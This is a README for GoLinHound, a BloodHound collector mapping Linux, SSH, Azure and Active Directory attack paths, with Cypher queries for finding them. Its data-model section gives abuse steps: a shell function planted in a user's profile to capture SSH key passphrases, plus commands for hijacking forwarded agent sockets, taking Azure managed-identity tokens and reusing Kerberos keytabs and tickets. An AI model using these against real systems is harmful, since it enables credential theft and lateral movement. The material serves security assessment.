Golinhound
A BloodHound collector written in Go that discovers Linux and SSH attack paths. Outputs OpenGraph JSON and integrates with existing SharpHound and AzureHound data.
Install / Use
/learn @RantaSec/GolinhoundREADME
GoLinHound

A BloodHound collector written in Go that discovers Linux and SSH attack paths. Outputs OpenGraph JSON and integrates with existing SharpHound and AzureHound data.
Table of Contents
- Getting Started
- Data Model
- Cypher Queries
- Local Privilege Escalation
- Pivot from Dev to Prod
- Azure Tenant Breakout
- Azure Subscription Breakout
- Azure VMs with Privileged Service Principals
- Active Directory Domain Breakout
- Active Directory Principal Breakout
- Private Keys on More Than One Computer
- Unprotected Private Keys
- Private Keys with Weak Encryption
- Agent Forwarding
- Large-Scale Deployment
- Author & License
- Acknowledgements
Getting Started
# clone repository
git clone https://github.com/rantasec/golinhound
cd golinhound
# add custom node icons to BloodHound
BASEURL="http://localhost:8080"
TOKEN="<YOUR_TOKEN>"
curl -X "POST" \
"${BASEURL}/api/v2/custom-nodes" \
-H "accept: application/json" \
-H "Prefer: wait=30" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ${TOKEN}" \
-d @res/custom-nodes.json
# build golinhound yourself
make build
# alternatively, download latest release
wget -P "bin/" "https://github.com/RantaSec/golinhound/releases/latest/download/golinhound-linux-amd64"
wget -P "bin/" "https://github.com/RantaSec/golinhound/releases/latest/download/golinhound-linux-arm64"
# execute golinhound
sudo ./bin/golinhound-linux-amd64 collect > output.json
# optional: merge multiple output files
cat *.json | ./bin/golinhound-linux-amd64 merge > merged.json
Data Model
This section describes the edges collected by GoLinHound and provides examples how they can be abused.
SSH

HasPrivateKey
Collected by parsing all private keys in $HOME/.ssh/ directories. This edge indicates that a user has access to a specific SSH keypair.
If the corresponding private key is password-protected, the password can be captured by adding an SSH command alias to the user's profile:
ssh() {
for ((i=1; i<=$#; i++)); do
if [[ ${!i} == "-i" ]]; then
next=$((i+1))
if ssh-keygen -y -P "" -f "${!next}" >/dev/null 2>&1; then
break
fi
if [[ -f "${!next}.password" ]]; then
break
fi
echo -n "Enter passphrase for key '${!next}': "
read -s passphrase
echo ""
echo "$passphrase" > ${!next}.password
break
fi
done
command ssh "$@"
}
CanSSH
Collected by parsing authorized_keys files. This edge indicates that a SSHKeyPair can be used to authenticate via SSH to an SSHComputer as a specific SSHUser.
Connect using the private key:
ssh -i <priv_key> user@host
ForwardsKey
This edge indicates that a keypair was forwarded to another SSHComputer via SSH agent forwarding.
Use the forwarded authentication socket to authenticate to other hosts:
export SSH_AUTH_SOCK="/tmp/ssh-IbF2XDIsRI/agent.9869"
ssh user@host
Linux

IsRoot
This edge indicates that an SSHUser is the root user of an SSHComputer.
No additional exploitation needed - root is already the most privileged user on the system.
CanSudo
Collected by parsing sudoers configuration files. This edge indicates that a user has privileges to execute commands as root via sudo.
Escalate to root privileges:
sudo -u#0 bash
CanImpersonate
Once a user has escalated to root, they can impersonate any other user on the system.
Execute bash as another user:
sudo -u <username> bash
Azure / Entra

SameMachine
This edge indicates that an SSHComputer is an AZVM. This edge is bidirectional.
A token for the machine identity can be obtained via:
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s
A privileged Azure user can execute code on the VM via:
az vm run-command invoke \
--resource-group myResourceGroup \
--name myLinuxVM \
--command-id RunShellScript \
--scripts "whoami"
Active Directory

This edge indicates that credentials for an Active Directory user are stored in a keytab file on an SSHComputer.
Extract Kerberos encryption keys from the keytab:
klist -eKkt /home/alice/svc_custom.keytab
HasTGT
This edge indicates that cached Ticket Granting Tickets (TGTs) for an Active Directory user exist on an SSHComputer, typically in /tmp/krb5cc_* files.
Export and use the credential cache:
export KRB5CCNAME=/tmp/krb5cc_<uid>
klist
Cypher Queries
This section demonstrates Cypher queries that uncover interesting attack paths. Sample OpenGraph JSON files for testing these queries can be found in the res/examples/ directory.
Local Privilege Escalation
This query identifies non-privileged users that can obtain root privileges.
// identify administrative users
MATCH pEnd=(admin:SSHUser)-[:CanSudo|IsRoot]->(c:SSHComputer)
// identify unprivileged users
MATCH (c)-[:CanImpersonate]->(user:SSHUser)
WHERE NOT (user)-[:CanSudo|IsRoot]->(c)
// find path from unprivileged user to admin
MATCH pStart=allShortestPaths((user)-[*1..]->(admin))
// start segment should not include target computer
WHERE none(n in nodes(pStart) WHERE n.objectid=c.objectid)
RETURN pStart, pEnd
Pivot from Dev to Prod
This query identifies attack paths from test/dev to prod.
// identify all computers that contain non-prod strings
MATCH (testc:SSHComputer)
WHERE (
testc.name CONTAINS "TEST" OR
testc.name CONTAINS "TST" OR
testc.name CONTAINS "DEV"
)
// identify computers with prod string and all local users
MATCH (prodc:SSHComputer)-[:CanImpersonate]->(produ:SSHUser)
WHERE (
prodc.name CONTAINS "PROD" OR
prodc.name contains "PRD"
)
// check if there is path from test to prod
MATCH p=allShortestPaths((testc)-[*..]->(produ))
// ignore paths that go through the prod host
WHERE none(n in nodes(p) WHERE n.objectid=prodc.objectid)
// show privileges to prod host
OPTIONAL MATCH p2=(produ)-[:CanSudo|IsRoot]->(prodc)
RETURN p,p2
Azure Tenant Breakout
This query shows non-Azure attack paths from a vm in one Azure tenant to a vm in another tenant.
MATCH (vm1:AZVM)-[:SameMachine]->(:SSHComputer)
MATCH (:SSHComputer)-[:SameMachine]->(vm2:AZVM)
WHERE vm1.tenantid <> vm2.tenantid
MATCH p=allShortestPaths((vm1)-[*..]->(vm2))
WHERE none(r in relationships(p) WHERE type(r) STARTS WITH "AZ")
RETURN p
Azure Subscription Breakout
This query shows non-Azure attack paths from a vm in one Azure subscription to a vm in another subscription.
MATCH (vm1:AZVM)-[:SameMachine]->(:SSHComputer)
MATCH (:SSHComputer)-[:SameMachine]->(vm2:AZVM)
WITH
vm1,
vm2,
substring(vm1.objectid,15,36) AS subscriptionId1,
substring(vm2.objectid,15,36) AS subscriptionId2
WHERE subscriptionId1 <> subscriptionId2
MATCH p=allShortestPaths((vm1)-[*..]->(vm2))
WHERE none(r in relationships(p) WHERE type(r) STARTS WITH "AZ")
RETURN p
Azure VMs with Privileged Service Principals
This query shows non-Azure attack paths to Azure VMs that have privileges assigned.
MATCH p=(:SSHComputer)-[:SameMachine]->(vm:AZVM)-->(:AZServicePrincipal)-->()
RETURN p
Active Directory Domain Breakout
This query shows non-AD attack paths from a computer in one domain to a computer in another domain.
MATCH p1=(c1:SSHComputer)-[:HasKeytab|:HasTGT]->(ad1)
MATCH p2=(c2:SSHComputer)-[:HasKeytab|:HasTGT]->(ad2)
WHERE c1 <> c2 AND ad1.domain <> ad2.domain
MATCH p=allShortestPaths((c1)-[*..]->(c2))
RETURN p1, p, p2
Active Directory Principal Breakout
This query shows non-AD attack paths from a computer with access to one AD principal to a computer with another AD principal.
MATCH p1=(c1:SSHComputer)-[:HasKeytab|:HasTGT]->(ad1)
MATCH p2=(c2:SSHComputer)-[:HasKeytab|:HasTGT]->(ad2)
WHERE c1 <> c2 AND ad1 <> ad2
MATCH p=allShortestPaths((c1)-[*..]->(c2))
RETURN p1, p, p2
Private Keys on More Than One Computer
This query identifies private keys that can be found on multiple hosts.
MATCH (c:SSHComputer)-[:CanImpersonate]->(u:SSHUser)-[:HasPrivateKey]->(k:SSHKeyPair)
WITH k, collect(DISTINCT c) AS computers
WHERE size(computers) > 1
UNWIND computers AS c
MATCH p=(c)-[:CanImpersonate]->()-[:HasPrivateKey]->(k)
RETURN p
Unprotected Private Keys
This query shows private keys that are unencrypted and not protected by FIDO2.
MATCH p=(:SSHUser)-[r:HasPrivateKey]->(k:SSHKeyPair)
WHERE k.FIDO2 = false AND r.Encr
Related Skills
node-connect
351.4kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
110.7kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
351.4kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
qqbot-media
351.4kQQBot 富媒体收发能力。使用 <qqmedia> 标签,系统根据文件扩展名自动识别类型(图片/语音/视频/文件)。
